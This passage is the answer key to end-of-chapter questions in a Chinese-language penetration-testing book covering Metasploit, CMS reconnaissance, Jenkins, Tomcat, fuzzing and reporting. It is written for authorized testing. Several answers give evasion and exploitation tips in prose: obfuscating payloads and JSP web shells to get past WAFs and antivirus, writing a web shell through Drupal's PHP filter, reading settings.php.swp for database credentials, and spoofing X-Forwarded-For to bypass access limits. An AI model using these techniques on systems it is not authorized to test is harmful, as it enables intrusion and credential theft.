3. Metasploit Framework 支持的所有格式都在db_import命令中提到。请参考该命令。

4. WMAP 是用 Ruby 编写的插件。您可以编辑文件并根据需要修改代码。在进行任何修改之前，请阅读LICENCE文件。

5. WMAP 每个节点限制为 25 个作业。这是为了防止节点负担过重。

第七章

1. 不是真的。Nessus 可以安装在任何服务器上，您只需要提供网络 IP 和用于身份验证的端口凭据。Metasploit 将自动与远程安装的 Nessus 实例进行身份验证。

2. Metasploit 支持 Nexpose、Nessus 和 OpenVAS 漏洞扫描器作为可插拔模块。对于其他漏洞扫描器，您可能需要编写自己的插件模块。

3. 是的。您可以将 Nessus Professional 与 Metasploit 一起使用。您只需要首先激活 Nessus Pro 许可证。

4. 扫描中的并发系统数量与您的 Nessus 订阅允许的数量相同。

第八章

1. 是的。如果 WordPress 安装了默认配置，则本章讨论的侦察技术足以获取有关所有 WordPress 版本的信息。

2. 如果wp-admin目录不可访问，您可以尝试wp-login.php文件。该文件对具有普通权限设置的用户以及对wp-admin目录也是可访问的。如果您仍然无法访问，请尝试将wp-login.php?action=register查询添加到 URI。

3. 是的，WordPress 是一个广泛使用的开源 CMS。与 WordPress 核心不同，一些主题和模板是根据付费订阅许可证的。

第九章

1. Joomla 是用 PHP 编写的 CMS，并且将在安装有 PHP 的操作系统上运行。

2. 如果您已经使用了社区不知道的检测技术，可以将该技术添加到 Metasploit 代码中。同时，您可以向 Metasploit GitHub 存储库发送push请求，这应该也有助于社区。

3. 有多种方法可以找到安装的版本。您甚至可以阅读源代码以找到披露 Joomla 版本的标头或参数。

4. 渗透测试人员的目标是找到漏洞并利用它，以使组织管理层相信不应忽视 Web 应用程序的安全性。在应用程序中设置后门将违反这一逻辑，这是不道德的。

第十章

1. 不同的 Drupal 版本具有不同的架构和不同的功能。如果利用漏洞基于 Drupal 的核心组件，它也可以用于旧版本。其他基于模块和插件的漏洞可能在不同的 Drupal 版本中无法工作。

2. 在本地安装 Drupal 以测试漏洞是一个好习惯。如果我们成功地在本地利用 Drupal，那么我们可以在远程 Drupal 站点上使用相同的漏洞。

3. 有时，Web 应用程序防火墙（WAF）放置在 Web 应用程序前面，这意味着漏洞无法成功运行。在这种情况下，我们可以对漏洞中使用的有效载荷进行混淆或编码，并绕过 WAF 保护。

4. 如果我们可以访问 Drupal 管理员帐户，我们可以启用 PHP 过滤器模块并配置其权限。一旦权限设置好，我们就可以在网站上编写一个 Web shell。我们甚至可以通过利用任意文件上传漏洞来上传 Web shell（这在某些 Drupal 版本上有效）。

5. 在执行文件和目录枚举时，如果我们遇到.swp文件，我们可以利用这一点。SWP（发音为swap）文件是一个存储文件中发生的更改的状态文件。有时，管理员会编辑 Drupal 配置文件（settings.php），这意味着会创建一个.swp文件。如果我们可以访问settings.php.swp文件，我们就可以获取全局设置变量，如数据库用户名和密码，这可以用于进一步的利用。

第十一章

JBoss 有不同的版本和发布。社区版是免费下载的，但您需要购买许可证来支持它。您可以在www.redhat.com/en/store/red-hat-jboss-enterprise-application-platform?extIdCarryOver=true&sc_cid=701f2000001Css5AAC查看许可信息。

第十二章

1. 您可以使用 Shodan、ZoomEye、Censys.io 和类似的服务来识别它们。您还可以通过执行端口扫描和服务枚举来识别它们。有时，Tomcat 服务可能不会在常用端口（如80、443、8080等）上运行。在这种情况下，执行完整的端口扫描，并通过服务器响应来识别服务。

2. 并不一定。Release-Notes.txt和Changelog.html文件仅在默认安装时可用。如果服务器管理员已删除这些文件，您需要寻找其他方法（在本章中提到）来检测和识别 Apache Tomcat 实例。

3. 这通常发生在反病毒程序检测到 JSP Web shell 时。为了绕过这样的安全措施，您可以对 Web shell 进行混淆。

4. 在基于 OOB 的 OGNL 注入中，有两种方式可以利用这个漏洞——通过 DNS 交互或通过 HTTP 交互。在这两种情况下，您需要设置自己的实例并配置 DNS 服务器（用于 DNS 交互）或 HTTP Web 服务器（用于 HTTP 交互）。在进行 HTTP 交互攻击时，利用基于 OOB 的 OGNL 更容易。

第十三章

1. 您可以使用 Shodan、ZoomEye、Censys 等工具来识别 Jenkins 实例。默认情况下，Jenkins 服务在端口8080上运行。

2. 有多种方法可以识别 Jenkins，但最常见的方法是使用 HTTP 标头。X-Hudson、X-Jenkins、X-Jenkins-Session和X-Permission-Implied-By标头是 Jenkins 使用的自定义 HTTP 标头。

3. 您可以通过 HTTP 标头来查看是否有任何类型的标头阻止您访问 Jenkins 实例。您还可以添加一个X-Forwarded-For: 127.0.0.1标头来绕过任何类型的入口访问限制。

4. Jenkins 是一个用 Java 构建的开源工具，通过使用基于插件的机制来帮助 CI 和 CD。如果您可以访问 Jenkins 实例，可以中断 CI/CD 流水线以关闭生产/非生产环境。由于 Jenkins 保存了应用程序的所有代码，您可以下载源代码以获取硬编码的凭据和敏感信息，然后可以用于进一步的利用。

第十四章

1. 您可以在运行 Web 服务的任何服务器上执行 Web 应用程序模糊测试（包括 SSL）。

2. Burp Suite 是一个基于 Java 的工具，可以在 Microsoft Windows 上使用，但对于 Wfuzz 和 ffuf，您必须在 Windows 上安装 Python，因为这些工具是基于 Python 的。

3. 不。在常规渗透测试中进行模糊测试是可选的，需要与客户讨论。如果客户要求，那么它将是强制性的；否则，渗透测试可以在不进行模糊测试的情况下进行。然而，总是进行模糊测试是一个好习惯，因为您可能会发现扫描器错过的严重漏洞。

4. 这些漏洞范围从技术漏洞，如远程代码执行（RCE）、SQL 注入（SQLi）和跨站脚本（XSS）到逻辑漏洞，如账户接管、参数操纵、响应操纵和身份验证令牌绕过。

第十五章

1. 用于 Microsoft Word 的元语言被设计得尽可能简单，同时还具有足够的功能，可以创建基本的渗透测试报告。这是一种用于在 Serpico 中创建自定义模板的语言（在它们的 GitHub 存储库中定义）。要了解有关 Serpico 中元语言的更多信息，请参阅github.com/SerpicoProject/Serpico/wiki/Serpico-Meta-Language-In-Depth。

2. 通用的渗透测试报告应包括漏洞名称、漏洞描述、受影响的端点、复制步骤（概念验证）、业务影响、纠正措施和参考资料。

3. Guinevere、Prithvi 和许多其他开源自动化报告工具都是公开可用的，可用于轻松生成报告。

4. 是的。Dradis Framework 和 Serpico 都是用 Ruby 编写的，它们是跨平台支持的工具，可以在 Microsoft Windows 上运行。唯一的要求是 Ruby 软件包需要安装在 Windows 系统上。